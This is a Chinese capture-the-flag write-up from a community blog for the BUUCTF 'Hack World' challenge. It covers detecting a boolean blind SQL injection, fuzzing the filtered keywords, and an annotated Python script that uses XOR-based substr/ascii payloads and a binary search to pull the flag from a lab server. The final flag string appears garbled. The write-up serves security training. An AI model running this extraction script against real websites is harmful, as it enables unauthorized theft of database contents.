BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)
  rKeEjcARIgc2 2023年12月09日 18 0

题目环境 image.png 判断注入类型

1

image.png

2

image.png

3

image.png

1'

image.png

输入1'报错提示bool(false) 可知是字符型的布尔注入(盲注)

尝试万能密码

1' or '1'=1

image.png

已检测SQL注入 猜测某些关键字或者字符被过滤

FUZZ字典爆破 image.png image.png

可以看到部分关键字被过滤,包括空格

All You Want Is In Table 'flag' and the column is 'flag' Now, just give the id of passage 通过提示可以知道 flag字段在flag数据表里面

布尔注入

布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

布尔盲注

布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。 在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。 在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。 总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

通过脚本爆破flag

import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):
    #for循环遍历,i表示flag值大致长度是50以内
    max = 127
    #赋值127
    min = 0
    #赋值0
    for c in range(0,127):
        #for循环遍历
        s = (int)((max+min)/2)
        #首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        #^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
        #从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
        #将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
        r = requests.post(url,data = {'id':payload})
        #requests模块的运用,将payload赋值给题目中这个名为id的参数
        time.sleep(0.005)
        #每循环一次休眠0.005秒
        if 'Hello' in str(r.content):
            #如果Hello这个字符串在生成的结果中,那么就继续向下进行
            max=s
        #将s的值赋值给max
        else:
            #反之
            min=s
        #将s的值赋值给min
        if((max-min)<=1):
            #如果max-min的值
            flag+=chr(max)
            #将max的ASCII值转化为字符串
            print(flag)
            #输出flag
            break
            #跳出循环


脚本里面已添加注释 希望能帮助大家更好的理解

image.png 得到flag: flag{7a?ec496-a77b-4foa-9748-c6382beoa0c}

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年12月09日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   31   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   34   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   38   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   47   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   37   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   50   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   35   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   39   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   36   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   37   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   34   0   0 网络安全
rKeEjcARIgc2